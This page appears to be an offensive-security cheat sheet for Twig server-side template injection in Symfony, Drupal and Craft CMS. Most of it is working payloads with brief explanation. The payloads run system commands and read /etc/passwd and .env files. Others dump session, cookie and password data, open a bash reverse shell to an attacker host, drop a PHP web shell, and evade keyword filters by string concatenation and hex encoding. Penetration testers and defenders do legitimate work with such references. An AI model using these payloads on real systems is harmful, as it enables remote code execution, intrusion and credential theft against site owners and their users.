Skip to content

Twig (PHP - Symfony, Craft, Drupal 8+)

Twig in unsafe mode (legacy Symfony, custom embeds, untrusted-template scenarios) gives direct access to PHP functions via _self.env. Sandbox mode (default since Twig 2.x) blocks the obvious paths but is bypassable through filter abuse.

# Confirm Twig (not Jinja2)
{{7*'7'}} # → 49 (numeric coerce, vs. Jinja's 7777777)
# Loot - Symfony Request
{{_self.env.getRuntimeLoader().getSourceContext('@app/config/services.yaml').getCode()}}
# RCE - unsafe Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter("system")}} # Twig >= 1.36 - runs `id` via system()
{{['id']|map("system")|join(",")}} # alternate

Success indicator: uid= line from id or file contents in response.

  • Symfony - Twig is the default templating engine since Symfony 2. Sinks are anywhere $twig->render() is called with user input - most commonly in admin “email template” editors or report builders.
  • Drupal 8+ - uses Twig for theming. Twig in Drupal runs in sandbox mode by default; bypasses are more relevant here than the unsafe-mode payloads.
  • Craft CMS - Twig in admin context. The CMS exposes additional helpers (craft.app.config) that widen the loot surface.
  • Grav CMS, Bolt CMS - flat-file PHP CMSes that use Twig directly.
  • Custom PHP apps - anything embedding Twig\Environment for email/report generation.
{{7*7}} # → 49 confirms template eval
{{7*'7'}} # → 49 confirms Twig (not Jinja2)
{{_self}} # object dump: __TwigTemplate_<hash> - confirms Twig

{{_self}} is the cleanest Twig fingerprint. If it returns a __TwigTemplate_* object representation, you have Twig and can reach the environment via _self.env.

Twig has two modes:

  • Unsafe - _self.env.getFilter("system") works; arbitrary PHP function calls are reachable
  • Sandbox - only allowlisted tags/filters/functions; most useful payloads are blocked

Test:

{{_self.env}}
  • Returns object → unsafe mode. Continue to RCE paths below.
  • Returns empty / error → sandbox. Skip to filter-abuse paths or filter bypass.

Path A - _self.env.registerUndefinedFilterCallback (Twig ≤ 1.x)

Section titled “Path A - _self.env.registerUndefinedFilterCallback (Twig ≤ 1.x)”

The classic. Register exec as the fallback filter, then invoke any command name as a filter:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /etc/passwd")}}

Works on Twig 1.x. The registerUndefinedFilterCallback method was removed in Twig 2.x.

Path B - filter / map against function names (Twig ≥ 1.36, including 2.x and 3.x)

Section titled “Path B - filter / map against function names (Twig ≥ 1.36, including 2.x and 3.x)”

The filter, map, reduce, and sort filters accept a callback. PHP function names are callable strings:

{{['id']|filter('system')}}
{{['id']|map('system')|join(',')}}
{{['/etc/passwd']|map('file_get_contents')|join('')}}
{{['id', 'uname -a']|map('system')|join('---')}}

These paths often bypass naive filtering that blocks _self, env, or __class__.

{{['cat /etc/passwd']|sort('system')}}

Same mechanism via the sort filter - useful when filter and map are blocked specifically.

Sandbox mode usually allows the source and include constructs, which read files from the template loader’s root:

{{ source('config.yaml') }}
{% include 'config.yaml' %}

Path is loader-relative - usually the app’s templates directory. Try ../ traversal:

{{ source('../config/services.yaml') }}
{{ source('../.env') }}

For Drupal, the loader is often pinned and traversal fails, but source against absolute paths works on some configurations:

{{ source('@app/config/parameters.yaml') }}
{{ source('@kernel/.env') }}

The @app, @kernel, @root namespaces depend on the application’s Twig configuration.

Drupal 8+ adds Twig filters that include their own callable mechanisms. Several were retroactively patched but appear on unpatched installs:

# Old CVE-2017-6920 vector
{{ ['id'] | filter('passthru') }}
# Drupal-specific helper, often unrestricted
{{ ['id', null]|reduce('passthru') }}

Drupal also exposes attach_library, link, and path helpers that don’t lead to RCE but reveal internal structure.

When you have _self.env, the Symfony container is reachable:

{{_self.env.getRuntimeLoader()}}
{{_self.env.getGlobals()}} # often contains 'app' (Symfony app reference)

app.session, app.user, app.request are commonly exposed:

{{app.request.cookies}}
{{app.session.all}}
{{app.user.password}} # hashed, but useful

If app.environment returns dev, the application is running in dev mode - the symfony profiler is likely accessible, which gives full DB queries, environment variables, and session data without further exploitation.

Standard PHP reverse shell via system:

{{['bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"']|map('system')|join('')}}

For environments with strict outbound filtering, write a web-shell file then access it:

{{['<?php echo shell_exec($_GET["c"]); ?>', '/var/www/public/x.php']|map('file_put_contents')}}

Then visit /x.php?c=id. File write requires the web server user to have write access to a web-served directory - common in containerized deployments.

When _self, env, or specific function names are filtered, see filter bypass. Quick previews:

# String concatenation of blocked keyword
{{['id']|filter('sys'~'tem')}} # bypasses literal 'system' match
# Hex-encoded function name (Twig accepts strings as callables)
{{['id']|filter('\x73ystem')}}
# Attribute access via string indexing (Twig supports this)
{{_self['env']['registerUndefinedFilterCallback']('exec')}}{{_self['env']['getFilter']('id')}}
{{7*7}} # eval probe
{{7*'7'}} # Twig-vs-Jinja2 probe (returns 49)
{{_self}} # → __TwigTemplate_<hash> object
{{dump()}} # dev mode: dumps current scope; prod: nothing
  • Twig 3.x removed several legacy paths. The filter/map/reduce/sort-with-callback method still works as of Twig 3.10.
  • Sandbox mode is the default since Twig 2.x for any template rendered via Twig\Sandbox\SecurityPolicy. Most production Symfony apps run in sandbox. Drupal pins to sandbox tightly.
  • {% verbatim %} blocks in Twig disable evaluation - useful to know if your probe lands inside one (you’ll see literal {{...}} even though the engine is Twig).
  • Error visibility - Symfony’s prod mode swallows template errors. If a probe seems to produce no output, switch the test to a probe that doesn’t throw ({{1+1}} instead of {{undefined_var.method()}}).